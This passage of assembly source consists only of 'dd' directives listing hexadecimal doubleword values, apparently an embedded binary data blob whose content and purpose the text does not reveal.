0B7B81Bh dd 45DD35F4h, 0CDD43BEDh, 0F2CF5100h, 0E3CC675Ch, 47990270h dd 0FA2B572Fh, 0AED894E3h, 0E0003728h, 88685BE6h, 9AD392h dd 0C84F2641h, 0BAD4353Bh, 0EA274200h, 72D61E86h, 0A87500EFh dd 9D55EBC9h, 8900D126h, 0A19ACE11h, 12AA88BDh, 0E31282h dd 546DF554h, 4F00DA5Dh, 951E2713h, 3B12653Ch, 1980142Dh dd 446B528Fh, 0F2005BB2h, 7F3409C3h, 652CFEh, 0ABECBC3Dh dd 1AF83184h, 0E9B89611h, 65122100h, 0CD01240Dh, 6A8A6900h dd 0A12F1371h dd 8223007Eh, 9CAA4106h, 2E002884h, 957C1E40h, 3E6AFh dd 312FA993h, 5BB97823h, 0CD491009h, 4F7401CEh, 0A03B144Bh dd 0E700B2F6h, 8885BE74h, 0FE5A071Bh, 27B95CE1h, 91CA0867h dd 200E56ECh, 93A0B898h, 81022176h, 9A7F767h, 0B08483CEh dd 804BE117h, 0E8A89820h, 9EB60333h, 3DBDD223h, 24E04100h dd 1E2CA326h, 0B90B1784h, 0A9F6098Eh, 3145B420h, 5F00D872h dd 4414CB59h, 7A495ECh, 52F30FAAh, 0EAF0B19Fh, 3ADC701Ch dd 39F0FC7Ch, 1C32400h, 0D3911B0Dh, 0E0CF60Eh, 0A22EF81Dh dd 6FF63820h, 1109C162h, 802922F7h, 0A01FF99Ch, 0E2F800D3h dd 5DE52409h, 5400B362h, 11A94B21h, 55222Bh, 0F101E33Dh dd 688329A8h, 0BC94803h, 0A8BB4519h, 17C5E6h, 0E8814C1Bh dd 55A38D09h, 44743703h, 0B0F4FF75h, 2B4BCC0h, 3E999B3h dd 0AD40648Fh, 925440CEh, 320091C0h, 85C13BDAh, 7D7AB5EDh dd 0B9C3002Ah, 880414B8h, 0A900C85Ch, 2D72A2B3h, 563305h dd 87F0C10Ch, 82920420h, 1DD5DD00h, 15B41922h, 0ED6E020Ah dd 43739197h, 28DA480h, 770049E2h, 0F1825818h, 2A78C988h dd 0C0E829h, 0B95B7505h, 0DD7D4AACh, 0F9FC7012h, 27AD000h dd 1D7B565Fh, 0C06411EAh, 896A82A4h, 1B300454h, 4016C8B4h dd 68134C3Ah, 0B9697609h, 62E2C00h, 9930DAD5h, 6C50C8F0h dd 73E0003Dh, 77983EBFh, 0A7007C4Ah, 43FFED67h, 4CD9EA61h dd 96134B62h, 4F740712h, 525D201Eh, 5C00E806h, 32AA3874h dd 46FAEE2h, 0A15F4B46h, 8D3CC094h, 3290C501h, 5C9210E2h dd 3A00F7FCh, 0F9F83893h, 0FD76B9Bh, 0EBA8EC41h, 0AFC084E0h dd 0CF0086B2h, 38753343h, 3F9A79C5h, 744CCAE4h, 9C63B01h dd 117A0EBh, 2612DBF8h, 4780B065h, 1C8CC112h, 59C0C0F7h dd 5517B2FAh, 31D430E7h, 58BB0920h, 39000056h, 0A0A5DD10h dd 1F16BC96h, 55007786h, 268E8CFDh, 0D009076Eh, 4E2E6854h dd 36553460h, 411F0877h, 0F100232Ch, 0D7339214h, 0A46C0F07h dd 0B8A5D58Ch, 0B3F080C5h, 0B0000E5Ch, 0A60D0B7Dh, 43F1EDAh dd 4B57B4FBh, 1B3480C3h, 0CC00F688h, 3113809Ch, 0F2DE15h dd 613E1CE7h, 97E159D4h, 560375F6h, 74457294h, 1A90DF0Fh dd 0AE95F9h, 0E167E4A9h, 6FC63DFDh, 816A0E00h, 0AB376DEBh dd 0FA725Fh, 62D4840h, 326EEF63h, 80890439h, 0CC55CDF7h dd 0E271CFh, 0A082965h, 0B153D3A3h, 6006190h, 5ADABC4Eh dd 0A0097F39h, 12D9DECh, 22C28DA7h, 242A9908h, 6A00B9A8h dd 2D7A02F2h, 0C2CED5h, 0F1EA0AA2h, 2FA5DC60h, 78207403h dd 0C043B5EBh, 1E152Dh, 40C8F8F4h, 314AC38h, 0D5ED6500h dd 28CCF193h, 5A9F8020h, 3B0043F2h, 0E7078494h, 70FD294Ah dd 12217A8Eh, 0F61E76h, 98F7C2Ch, 4A48187Fh, 9AE46020h dd 992E60Bh, 1E95649h, 8110820Ah, 239DB10Ah, 1502D2B9h dd 72247Eh, 0FD6AA575h, 9EF61CFFh, 286D8051h, 98260EFCh dd 3A84A5Ch, 67DFD27h, 0D98380B8h, 6EE2BCh, 0A82B2D16h dd 0E91B9951h, 0DDDA4E13h, 0E06078A1h, 41151DD4h, 5F160059h dd 1D76C201h, 0D13CFC00h, 73FE2F28h, 0FB0C264Fh, 9E2600h dd 8D890BCh, 0C348D62Ah, 5A9B141Fh, 0CD9707BCh, 431395E6h dd 606ED83Eh, 9D5D3BADh, 0E501285Ch, 838BAE93h, 0FAD641EDh dd 77D9CF78h, 5FDE846h, 6CD55604h, 0C0EF39BCh, 5811F5ECh dd 0A90088B0h, 24100CFAh, 6D8D5h, 98A159DBh, 9AB025CAh dd 0ACFE83A0h, 0CB5A5402h, 0E81EB95Ch, 1CDB3FECh, 976A4161h dd 33384765h, 5AD5D00Bh, 7400F055h, 0A53C0EDh, 2E786115h dd 1748B1ACh, 0CB100059h, 57EC877h, 0B039D112h, 0EF386AACh dd 1BC297h, 0E29FC73h, 0AF14D76Dh, 2F830EBh, 7CF03D2Eh dd 0FBF08019h, 2FF93Fh, 8F45F60Eh, 61CB6B9h, 2021106Eh dd 563622F4h, 38340039h, 3A3F7E09h, 4B00FE2Bh, 0CDCB48F7h dd 7DB2A965h, 0F364005Ch, 47E15D75h, 170EBDE2h, 0E0D21F79h dd 2296B3FFh, 0FB5F0040h, 6E92645Dh, 40EDC10h, 60BEB4CEh dd 81E12E70h, 0E5F20Ch, 0F98F7796h, 0F8D795B2h, 0C7F16900h dd 8615797Fh, 0A56009Eh, 9BE7496Dh, 0EE3CD909h, 0BD01B97Bh dd 43408060h, 58E325ACh, 0D6B539E8h, 2720685h, 0F83CD0D8h dd 0FC0FEEA8h, 44DA76F2h, 0CA818140h, 0D6200D46h, 3B800FDh dd 43B7DB32h, 2A0095DCh, 37732610h, 21997C1h, 23E9EBA6h dd 0D8E012F9h, 0F302EC53h, 0C55DF416h, 27E8C87Eh, 4A60BD52h dd 840007B7h, 4C6626C1h, 18D109Bh, 4AB85394h, 0EC925545h dd 8B01B3AFh, 0C1A8CEFFh, 85D49B6Ch, 9A280073h, 0F9E69531h dd 79F84076h, 0D49F1B12h, 8F0A700h, 2DDEC6h, 6BE1530h dd 0B0CB0755h, 0EE02B09Ah, 8D54386h, 0B68840D9h, 7140099h dd 494B5ACCh, 0EB75675Bh, 1D20E000h, 94C1D204h, 4010001Bh dd 0A72BBA1h, 43005177h, 1444A019h, 0ED26322Fh, 547C5D4h dd 20340D71h, 2808019Ah, 0E86B03A9h, 0FA095BC1h, 803CCA7Fh dd 12FBF384h, 0F7CCFB5Fh, 6A91C0EAh, 0B22C6358h, 0A6BBE015h dd 12688810h, 0E0E801B1h, 0CFA8C3DAh, 8BA4083Bh, 29C0E356h dd 0B2C4037Ch, 7543A866h, 0BF745Fh, 295D2FA2h, 0D23BDD97h dd 0F16FD400h, 3AFF20F9h, 14B34D7Ah, 1A676B07h, 0D609409Dh dd 0FC384912h, 5F3B017Bh, 81A02AB8h, 8930509Dh, 1E8C27E7h dd 0AC0CE8A1h, 7882DEDAh, 9120D832h, 0D026BF1h, 3334F299h dd 390C8329h, 0EFA820D4h, 0A33CD48h, 74276798h, 88C67A03h dd 0E87FDB41h, 14D4445h, 89510F6Ah, 0FC32545Eh, 6C01E735h dd 9EB9E5D8h, 5AF4EE55h, 40D9008Eh, 7ADB61C3h, 6C00A260h dd 0E6596986h, 30A3B8h, 80049EE1h, 0EBB06F8Fh, 933D06C0h dd 12BED78h, 0D4E4E641h, 0D83FDCFFh, 0E107ABD5h, 0F229285Dh dd 17C513E0h, 2B2A015Eh, 0E5DE616Ah, 0EB07CC25h, 872D18C5h dd 0E64B1481h, 7A9D9050h, 3959F092h, 2701A701h, 0D4E3EE66h dd 748850E6h, 9439B3F9h, 0F711604Bh, 0BAE2977h, 0C0C3CADAh dd 18BDBA8Eh, 9D1E21F3h, 6817A8A0h, 0E619D67Bh, 0B080E4EBh dd 3F4B470h, 0CE4DE5DFh, 1808DCDBh, 41322B28h, 3E8EB6Eh dd 7FD689E7h, 1697BC50h, 0B6E06Ch, 64077A28h, 63DFAA32h dd 0B821D963h, 0BBFC8094h, 646C003Ah, 0B120D9Bh, 98F4A07Dh dd 0DEC75F00h, 0FB82F8EEh, 77E67Ch, 6775D515h, 6A4ECB21h dd 7E1789E6h, 29002CC6h, 9B62B88Ah, 431E00A2h, 51C8615Ah dd 0D03F1CA5h, 266F8094h, 0D7DC4868h, 502E0049h, 0BC7B92AEh dd 3002958h, 0BDBF606Fh, 53F7751h, 6E37C4C0h, 0E525C1DEh dd 0F3FCFCEEh, 4ABA8F00h, 0C98962A0h, 0FBCD0090h, 72A136B8h dd 0B9076E29h, 6FA31496h, 4D084AC0h, 0ADE40027h, 6C0E1850h dd 5F582D25h, 5B0F181Ch, 9E6D30h, 9FD76413h, 377BEA5Ch dd 98BDF700h, 6AD6ED8Fh, 0D4E8C0h, 52C49670h, 0B9EAA36Eh dd 8C2ABE00h, 0ED3124B6h, 0B544009Ch, 0A172E7Fh, 0A80F383Bh dd 40D48F92h, 0FCA2ED37h, 58F56FABh, 7240F1A0h, 3903EC1Ch dd 0A1EF42BAh, 4441E093h, 1418C17Ah, 2BF20D9Fh, 697EA0h dd 73DE97A9h, 39CCF067h, 57842900h, 66EF987h, 0EBE70F18h dd 0D60DDC1h, 0E6795B28h, 0AFC81500h, 62376610h, 12320006h dd 98E53072h, 0BF24509Ch, 61003E17h, 4F33DDA1h, 0C6E17E7Ah dd 596BB050h, 531D9C7Eh, 54007CBBh, 0A3ED7DABh, 0DC763833h dd 511850h, 21CBCEDFh dd 0F21B5F01h, 50CD700Eh, 0C234036h, 0FA999DCh, 21B5267Ch dd 7E583800h, 0A4071827h, 0D7A19888h, 0F4436D3h, 0BE514738h dd 8A395840h, 0DD009314h, 0FD5EBDA9h, 1B2C3Dh, 2187318Eh dd 2285098Fh, 4613DA1Dh, 6881AA0Ch, 9DDC40EEh, 7EEA8E00h dd 16A43519h, 28910009h, 0AB264D34h, 64003959h, 333EC7B5h dd 35835Dh, 6E3CF2F9h, 4654A94Fh, 218008CCh, 0F9E486h dd 68DD4A93h, 87FD3C11h, 909BD71Ch, 850BE740h, 38A4CEh dd 0A38DAFF0h, 825E713Eh, 62E0164Ch, 0C0F85310h, 0CEB8B1Fh dd 64BAEAA7h, 21C01F08h, 34124078h, 7B3C000Ch, 306C1E69h dd 46F235F7h, 7A312AE8h, 8CA391C5h, 0F10361D2h, 821E1180h dd 677269F0h, 0BBC7C90Ch, 0C252086Fh, 0F06A7B21h, 0DCEA6561h dd 0A503FCD6h, 0C53AFD09h, 7D68CED5h, 0EC611E37h, 7D0020A9h dd 5681B06Ah, 1D2F663Fh, 184A88DEh, 82702179h, 36FCB107h dd 0FB87EC3Ah, 0B0223965h, 0F88F3066h, 0BE463CE2h, 88243822h dd 7A006937h, 934C7EF8h, 9EA0A05Fh, 0C35A2877h, 0D79001ACh dd 56EF3A6Fh, 8DB9C028h, 42AC9E00h, 6DA53CAEh, 0CD7207FCh dd 80048938h, 0AA0CC48Ch, 6908F300h, 0E0A8BD68h, 876D0E2Ch dd 2401DB3h, 0CA061FE4h, 63016A04h, 0FBC015E8h, 9B9E78h dd 83DF2665h, 4FB29CC7h, 2DB50100h, 0E18A7731h, 0BDA800CDh dd 0B6534423h, 88001E4Ch, 350261FFh, 33DAE95h, 0D7A96DB0h dd 7BC87F5Fh, 1900DEEAh, 216FD81Ah, 3E7977CFh, 70037609h dd 0FE7E92D0h, 0B42D97D8h, 173CDA00h, 24BFC904h, 0B9CF02Bh dd 0F4090713h, 0E826BD00h, 75F0AF4Eh, 9A4AEA00h, 0CB82E2Ch dd 0A06FB892h, 0B9FFAAh, 415A8DD9h, 0C27C75CBh, 0E4011B00h dd 0B61EC18h, 36C60040h, 0BC3BA733h, 0AC1C3078h, 9E002F03h dd 0BF87F116h, 4C323F96h, 0C8593481h, 0D4AD93EAh, 7A3C9FFDh dd 0CF680E8Fh, 23920069h, 0A303DC1Eh, 43AE580h, 0D3D8FE07h dd 0A992C034h, 740C4053h, 94A58C2Eh, 0A09C3C6Bh, 0C4328E0h dd 82114520h, 447E50DEh, 0A3449D9Ch, 4E0D448Fh, 84945644h dd 42D49022h, 55B9119Bh, 117B6811h, 0A721D1CBh, 902B7508h dd 0C761849Ch, 8942D348h, 21302432h, 9F12C5F4h, 892D1110h dd 44330824h, 8888EBBCh, 4DD800D7h, 0DB64B8C8h, 0D000FF90h dd 6D8C6025h, 0D157EDh, 0A62BDFB2h, 0B0E1E40Fh, 9ABC400h dd 0D6E9F26Bh, 0AECF00B1h, 299F8624h, 0B9F6A575h, 0DF82E106h dd 589E38h, 0BA36309Ch, 37CF4AD9h, 0D3F1D800h, 0D1DBEA09h dd 48A0074Fh, 0F061C6C3h, 2DE37806h, 3EC05400h, 4E5321B7h dd 254C0075h, 0B80A0540h, 0C603CC50h, 4756D6BDh, 0D39FC030h dd 999C00C0h, 0AA5BA22Eh, 0B8772021h, 134038DFh, 0FD19B38Ch dd 17FF1207h, 611441CFh, 0E4B2B443h, 0EF019192h, 47B46C8h dd 7AE8D883h, 251A0702h, 0F09F4EF6h, 350B45FEh, 0E5ED4800h dd 0F162AD0Ah, 0BB903967h, 822300FAh, 0C74C1D7Bh, 7048C87Eh dd 81280044h, 38933DB1h, 0A58000FAh, 6B1DC9C0h, 9C005D04h dd 2EAE9ECEh, 5840B5h, 4920D54Ah, 9BDA9D28h, 0D0EA0800h dd 307DEC4h, 237B000Eh, 1EDB815Dh, 2860784Fh, 2FE00438h dd 1FFD76C5h, 9F2E4EEAh, 0AFDA40B7h, 0C2064AC3h, 6A5E2014h dd 8B3E00F9h, 1A05B827h, 0C4820013h, 45F92B3Dh, 6600311Ch dd 236484FFh, 601AB79Eh, 5158E08Eh, 0AD076944h, 6DAF0238h dd 0B362C280h, 50DB0187h, 0B84B65E3h, 64B820D7h, 29AB9A00h dd 78988CA4h, 0C3A3004Ch, 0A2619C41h, 740043B9h, 0C222FBC5h dd 5FC052E3h, 0A79AB0ACh, 711D0600h, 0B0A1FADDh, 55AA0441h dd 80E88F01h, 0BCFB1E2Ch, 65959E0Fh, 0D9CC60FCh, 700494B2h dd 5EBE3D11h, 4605AF83h, 3DD6CCFh, 7B08A4E0h, 94B935A0h dd 0A65F8000h, 0EEC5CF2Eh, 436302E5h, 3AEB0F01h, 286EE481h dd 5E1020BAh, 0E4006092h, 86828EC5h, 0BB1A3Eh, 75C051F3h dd 0E247F641h, 4AA88500h, 0CBAD2107h, 930F3FE8h, 5C1C9B00h dd 7386FAA6h, 0DA235517h, 4D543A00h, 7E11E4F5h, 77CF8D6h dd 4CEFD4F4h, 0A00FC0BFh, 1400B68Fh, 0BCBA9A50h, 3A67088h dd 0B73CB5EEh, 0E1D880D3h, 8900D0A7h, 91A807F6h, 1D7E386Eh dd 80856FF0h, 0EF343DFAh, 0BA90053Ch, 0E71C46E4h, 2940FEF8h dd 379626E8h, 626F010Bh, 1D366172h, 0DBB9D8BCh, 4B8F704h dd 0F3C06EB1h, 14787250h, 0ECD519FCh, 0A0AF4000h, 0BCC0D08Ch dd 0D0205E4Ch, 0DAC980C8h, 3CBDAE27h, 0AD809C17h, 3DD2743Ch dd 0D00C119h, 0AA0B0E9Fh, 14C86E08h, 0ECE3EDDDh, 17F76A04h dd 0CF28A4h, 68418EF5h, 0B65F38F6h, 0F8147074h, 3AE9142h dd 6FE409EBh, 7D04903Fh, 6D1E1250h, 48A841FDh, 0E0D60A1Ah dd 0D000F811h, 9B8523DAh, 147DECh, 0E9F5A524h, 5A6A5C02h dd 0E5552005h, 0CBC7A068h, 24A6E0A0h, 3B17688h, 8B3DA87Ah dd 8000F543h, 2098DBBEh, 1F03F2A5h, 800EAFC9h, 6A5DE32Bh dd 0CA7D8954h, 428C1900h, 0E1663C4Ah, 84AD0049h, 32166D7Ah dd 4F6AEF0h, 6F503900h, 0B4012703h, 3FC1004Ch, 0F23019ACh dd 2000415h, 50A49F38h, 7A266Eh, 0A256451h, 0FEB34341h dd 38748400h, 853BCE2Fh, 0C2A03024h, 0A55FE0A0h, 0EFBCA901h dd 564A57D7h, 6E79C840h, 300C1F48h, 3FD505B0h, 0EB2CC032h dd 0DA0093F4h, 0AD0D917Eh, 90E527B4h, 0BF9A0084h, 282C2F56h dd 58B7F717h, 8D370011h, 0CAF613FFh, 2101F4E5h, 4CF1F9BBh dd 0C040C41Ch, 0F2693Eh, 996F415Fh, 0AF6405DAh, 4F714Ch dd 363EFE92h, 9A7CBA14h, 0A3270090h, 0D480F262h, 3E12D901h dd 6F013783h, 0FE2E4AE2h, 17AC5D4h, 500FB332h, 0CC947710h dd 6C3BC918h, 0F8E326A3h, 7B5F1100h, 0C1A157h, 77DE234Eh dd 0C96B0335h, 1128F31Eh, 0B3BE5BC0h, 0EC73844h, 3E1752F4h dd 1CA9801Fh, 1F149DFCh, 80954C39h, 0DEBBD512h, 988CB7E9h dd 4D88005Ah, 645221A6h, 0F49ABEF4h, 60ABBB00h, 0B2826C93h dd 58C901D8h, 3646CBC2h, 0E6C3D0E8h, 19E9D3Dh, 8EBB743Dh dd 0E830029Bh, 0DFE40284h, 0A22C11Ah, 10A18C87h, 0D995AED0h dd 0AA464E00h, 0BE565F6Fh, 0E7B00390h, 520487E1h, 0FC77C9C1h dd 3002616h, 2885EB55h, 0E5EF10h, 9A0DD02h, 4DF9A53Dh dd 0E8505071h, 0E09216E8h, 2F943300h, 0F0E6BEA3h, 222B009Dh dd 0A96EFB5Eh, 0B7002A2Eh, 4FCBFDE1h, 0EB1D062h, 254A31CEh dd 5F9C5DFDh, 159140EBh, 3D8CE7B3h, 0FAF38h, 0C16908BFh dd 0A31857h, 0E6FE8291h, 3983A0C8h, 875CEE01h, 2AF4290Ah dd 0A796F8D7h, 73707208h, 5FE40Fh, 0AC2930F0h, 4EE750C7h dd 2CFAE958h, 0B4163508h, 23433C02h, 0A82CC0AEh, 1E360044h dd 58BA27A9h, 300904Fh, 0DF53B26Ch, 0B3ABFAh, 49BCCEC0h dd 45F5E53Dh, 21313Bh, 2A0B9816h, 482CC4ECh, 0A33B0D25h dd 0EBB6D101h, 0E466B1AFh, 8B009150h, 93554A45h, 0ED62BB3h dd 16D146A0h, 103079C3h, 6980568Bh, 0E8004CD7h, 9E5B820Ch dd 4EA9511h, 0A83FC074h, 0D88488C2h, 1D5E073Fh, 0B2801970h dd 276011CFh, 0BAA007Ah, 0A39FBCC8h, 38001A1Fh, 5A087F10h dd 0D41629h, 4C49CF39h, 2EE55BB3h, 0EB19CA05h, 0A8C0D1A4h dd 18400564h, 5CBD34EDh, 0E03C4C25h, 0B3BF800Ah, 0DD4F1879h dd 1020987Eh, 752567B0h, 50272B32h, 61F7E0E0h, 0F664058Bh dd 771A89h, 9A9DCBC9h, 0D498EB01h, 5F533600h, 803DE727h dd 7F57008h, 519F5CDCh dd 0F2BB80E4h, 0D478370Bh, 191A5800h, 126FE3C7h, 0E7DE0066h dd 0A285E14Bh, 0B749E50Ah, 3BB87648h, 585C4000h, 97B150A1h dd 0F427002Eh, 1C5FA6EFh, 111D4495h, 7C80C9EAh, 0E5DBB1ACh dd 225924CEh, 9E00E42h, 62141720h, 0BF245E21h, 600A488h dd 60CC2A6Ah, 9B6E03A5h, 521CA366h, 70B7CEF8h, 7D1F5A00h dd 0D57E410Bh, 94A186Bh, 23C76499h, 0B0A0CAECh, 0AF584B0Bh dd 9AC81F80h, 9C3CBC80h, 1C16FDh, 151FB0B9h, 6FA47502h dd 0C3F3BCA0h, 991BBE00h, 9D13E1E5h, 81B000FBh, 61912026h dd 5D00F84Eh, 6D33992h, 9072AFBBh, 5EF107ACh, 8082A49Ah dd 0FAAE8C85h, 37232D00h, 3E36AB13h, 487A072Eh, 0A4A5510Fh dd 986D86C2h, 0B3339C05h, 1CC0A9D1h, 757B84BFh, 0E9C4018Bh dd 2DFB9879h, 7845608Dh, 80C9CB39h, 0CF082F74h, 0CACED9h dd 0BF0BE5E9h, 0C46BB435h, 0DFF70914h, 0FA4609F8h, 0FBE4489Bh dd 0D7C81F9Fh, 0EE124051h, 0D547D4Ch, 0A07E3607h, 7B20E569h dd 4E81A7Ah, 0F99773ACh, 9F848130h, 300DE1C5h, 3A00A578h dd 4581D83h, 77740CE7h, 71BA044Ah, 81A78EB7h, 24A33907h dd 5F00816Ch, 6780AE4Ah, 35CB20h, 0ACE4C813h, 96959B88h dd 0B49EC0F5h, 7F13306h, 388AB0h, 5923CD4Bh, 5450E027h dd 8839D60Ah, 140398CBh, 0D89A3B49h, 0A2DF40h, 3253510Bh dd 69F0170Ch, 55656E0Fh, 9A40BECCh, 0A71C9048h, 96B5003Eh dd 4D814476h, 0FE2811AAh, 732AE271h, 0EE1298B9h, 7CD832EBh dd 1F510171h, 8C6654DCh, 0F33BF4C8h, 62BD7E1Fh, 618ACBh dd 2C5B8720h, 0C8FE0B43h, 6CA06644h, 0B1DEE231h, 695C9001h dd 0B9DA9423h, 8069F547h, 0F13154D0h, 27C8007Dh, 0DA67A373h dd 665C5082h, 0C0510B4Dh, 0DC80988Ah, 46F3304Dh, 0FF03BB08h dd 65130B00h, 3330DE01h, 49A10055h, 0CD797F3Ah, 0D2006A62h dd 9C516147h, 1968C5Ch, 0CE787087h, 0F885E2ACh, 0FC24557Dh dd 0E60EE472h, 6843A3C4h, 0E95D06Ch, 2BBA00ADh, 84B29320h dd 0C000A921h, 78384655h, 1EDD9858h, 84A0F03Ah, 0AB0D2B2Fh dd 4A53E880h, 0B954099Ch, 0E400C284h, 83EFDE02h, 0BCB8B17Ah dd 79A09117h, 0D8124A00h, 0BA2FEFFh, 29AB7243h, 0CDB9FC80h dd 3C040588h, 10376C34h, 75E23C87h, 0E7A1E0BFh, 105090D1h dd 34D65Ah, 0ED618FBAh, 33927828h, 0AF18F952h, 20D2FEE9h dd 0B7006628h, 0B096C2A1h, 58E2708Eh, 6E0C2F5Dh, 377950FDh dd 2C0470B5h, 9FA0DBE9h, 11A9409Ch, 4E161F2Dh, 9319121Ch dd 4F6BC7C0h, 90E4186Fh, 0DE3E00AAh, 0DB4871BCh, 447EB273h dd 0D3023AE6h, 46638D0Bh, 60644078h, 744510E3h, 37A800F8h dd 9B65EDB8h, 2F2603C4h, 7DC5AF5Fh, 0F8044DD0h, 0FE913101h dd 0CDEF4446h, 324E6E4h, 0D125AAACh, 2F98757Eh, 1002C203h dd 0EB15D086h, 0BFA20001h, 38EA3D8h, 981F3A0Dh, 5EA0632Fh dd 3300DCE6h, 348D3C97h, 0F072D2C8h, 276213BEh, 0B4C4C07Eh dd 0E5003A2Ch, 0F3DD065Fh, 0B04F4266h, 9D3D2EFAh, 28971B79h dd 0BAACFCA0h, 0E1D3D202h, 6874C6CDh, 513418h, 0C4FA95DCh dd 413EDAD6h, 54FC352Eh, 0B0EAD10Ch, 13E00066h, 593928B3h dd 922C87A0h, 908074AFh, 84D79ED8h, 0FA80E008h, 2DB800C2h dd 50C94096h, 0E93EDD73h, 0E84B01C7h, 0ED21A383h, 108C070h dd 0E1BA5A4Eh, 20738515h, 70EC56BCh, 97F81E00h, 0F4C6D017h dd 0BD7C0080h, 57E74481h, 14F0EE69h, 7115D4Ch, 0F3B5C0C8h dd 6A535AE1h, 98015068h, 0B42C32F4h, 1393FF24h, 1ED3758Bh dd 0E41A04C0h, 0AEEE47E4h, 801DB03Ah, 5A2D97BAh, 6B5632h dd 0DD646D3Ch, 0BE415486h, 212CCDE6h, 0BA00E4F9h, 0F5CF3595h dd 8C895932h, 7C666502h, 5460CD78h, 5E00AE4Fh, 0C9BE4CE3h dd 76175CBFh, 0F2DE1607h, 65BA0743h, 60334174h, 0FDF6ECB5h dd 58416A26h, 0EC42EC0Ah, 5D483983h, 54C7946Ch, 0BC822095h dd 684402Dh, 0CF4F05Ah, 963A22CCh, 5E24E430h, 0A180945Bh dd 16CD8418h, 0EDF08873h, 0E3DD2600h, 1ADC8303h, 0E970E75Ah dd 524007Eh, 7CBC9CDBh, 3E006C46h, 9BED3A94h, 5D4EF37h dd 7AE7A644h, 45C44A39h, 0E4C42084h, 0BB8326B3h, 0ECD58194h dd 301D9F38h, 5E09826Ch, 319844Eh, 898DEBACh, 400B298h dd 0CA000CF9h, 11F87044h, 1C2383EDh, 4139E2h, 2555DE8Fh dd 0DC00D2BCh, 4F602743h, 4456FD7h, 91B466C1h, 0D0C4D77Dh dd 69A1EC04h, 3E5420E1h, 10615B2Ch, 0C8E7D053h, 31F700CAh dd 1855696Dh, 6800E9D9h, 0FE3A8EFDh, 2D788CFh, 8CF0D2F4h dd 0A4812F22h, 301E4F1Dh, 0D0A8E19Eh, 0D600C3F8h, 0A15590Ch dd 0A0134A7h, 20E7E242h, 930585DCh, 0D80A0C2h, 2A9EF30Eh dd 0C723240Fh, 0FBEE74C0h, 50B200CBh, 6810A124h, 7E0040C6h dd 0E2761442h, 486B2Fh, 91613771h, 7AADE73h, 0A0D8FC24h dd 43039A0Bh, 483C70F0h, 0DD89188Dh, 0B2CAF46Bh, 1A00D070h dd 0C19A86ACh, 3878ECh, 90D853F8h, 81648E3Ah, 5E400C9Ch dd 88DF66h, 0F950E57Eh, 0FAD5DC0h, 308D44Ch, 28A41882h dd 78CFD16Ah, 16D696E8h, 9D7566h, 0FDF24020h, 4700200Dh dd 0FA214127h, 0A1018Dh, 6D50FF6h, 700562C5h, 963E6300h dd 0B33C3D4Dh, 0C592630h, 0E2C10000h, 62AF7340h, 0EED9811Dh dd 7C0AA60Fh, 87084900h, 0B68863h, 36343F25h, 0A0EB9058h dd 0E001B73h, 0C95DE452h, 0B0DED148h, 90C30010h, 0C204C030h dd 28020791h, 0AD46E503h, 0E1FF429Ch, 68F43838h, 28F504BEh dd 0E07FF6B4h, 0FD009004h, 0C1C7D3FEh, 0FC1BE081h, 74543BFFh dd 195AF302h, 4050229Bh, 120C65Ch, 0E6DACF75h, 44200295h dd 0AE0F2052h, 31936000h, 3599073Ah, 0F6D7B39h, 76AB9B56h dd 0C0B545A0h, 9F00A11Eh, 0D8B423F8h, 94DD3E87h, 911700h dd 0A06F2168h, 0D3028D32h, 0ADAB1D4h, 5F484040h, 9279h dd 34E6BFC6h, 46E9D539h, 0F56CCCA0h, 0A40FAA00h, 8710401Bh dd 83689049h, 0E1E6A19Bh, 1D4850D0h, 411DAC32h, 0CF409F8Bh dd 0C4532123h, 3860815Dh, 0D9B7DE60h, 8A973994h, 0B24DC400h dd 4203A013h, 6F7D0A0Fh, 68882BDBh, 0F4764314h, 3BE50056h dd 81AD83F4h, 5AF0ED2Fh, 0B64E6600h, 0D3E1E701h, 9C65039Dh dd 0C9F3B492h, 0DF2777B8h, 2209D900h, 114172C6h, 903E0644h dd 39E90F2Bh, 0BD780C00h, 12C4A361h, 0F6D20069h, 0E308519Bh dd 9A01B01Bh, 0ABE9100Eh, 0B6C448C4h, 6C230090h, 34B4F9EDh dd 0CF00C5A4h, 0EF21E972h, 651637h, 9A50758h, 223DBBF1h dd 20B3D100h, 5DF7CDA3h, 54990079h, 90AF65B5h, 3FFE7DCCh dd 53F31E1Eh, 1B19C49h, 0D2C9C2FEh, 0C4B95F4h, 0E2D1D538h dd 3A074510h, 667C5464h, 6A42C9E0h, 0C6B500CBh, 947861AAh dd 0E6777FAFh, 0C9F8AD1Eh, 48C2ECC7h, 8C368200h, 0D242127Dh dd 0FFD000DFh, 33383CE8h, 850B13FCh, 1DB93Bh, 0F28493B9h dd 598C0015h, 0F661F89Bh, 0C70056E9h, 2526DAFh, 5EC667h dd 58376B2Dh, 22A4669Eh, 7194CB00h, 0C27CC508h, 2C810053h dd 0B0E28919h, 5F004D3Bh, 6885C98Ah, 0F29938A0h, 0EC1D0162h dd 5B7AB122h, 0C68CDC1Ch, 0A5344816h, 7746391Fh, 0E040E361h dd 2D7D059Bh, 0AF3FB8F1h, 4E6ACE03h, 0CBD7D829h, 92C21883h dd 1CDD9030h, 65572F03h, 0D82E0805h, 2C69EBh, 7A114ECEh dd 48595A2h, 2FFD1400h, 3B23936h, 0C86800F2h, 6A98EC10h dd 24001B5Eh, 0FCE00815h dd 0F45518h, 7693CBAh, 0BD7E91D9h, 0F2AA9600h, 92C9A797h dd 219F0099h, 29DA7467h, 9B00C6B1h, 7FA6BBA9h, 3F832369h dd 143EC031h, 0AD535900h, 0E282BD9Eh, 0D4FF0600h, 0D94DB23Ah dd 972C003Dh, 738FA938h, 0A41FAD9Dh, 0E08F50C2h, 7EB8015Ch dd 89C0E48Dh, 0A02D003Ah, 1C583196h, 6B004197h, 0D26DF1ACh dd 0A9AE44h, 6DC8424h, 0EB987A2Bh, 4CD19E00h, 0CD86588h dd 0B31C0FECh, 0CF07F4CCh, 98A320FFh, 1E7869D1h, 86291300h dd 0B5E1C397h, 5720014Fh, 16AF71EDh, 0F656ECF0h, 0C0F2A700h dd 96884C4h, 500491BDh, 6B007D05h, 3037474Fh, 3B977CE7h dd 0A280AA65h, 3D452569h, 7912EE9Ch, 0FB05AF9Bh, 0EC4049E0h dd 0FE7A1927h, 3F0FAC5h, 2FDE5B8Bh, 0CE901FC0h, 0B4028514h dd 9529B38Eh, 334253h, 0FA72FCECh, 7E8B0021h, 6310F920h dd 6700C5ADh, 81062773h, 0CD3CFFh, 9CE857B4h, 682271C6h dd 89A6E400h, 32EE0716h, 12EF3F8Ch, 66E9B40Eh, 16180BEh dd 202878DEh, 7E5AA00h, 5995CE0Dh, 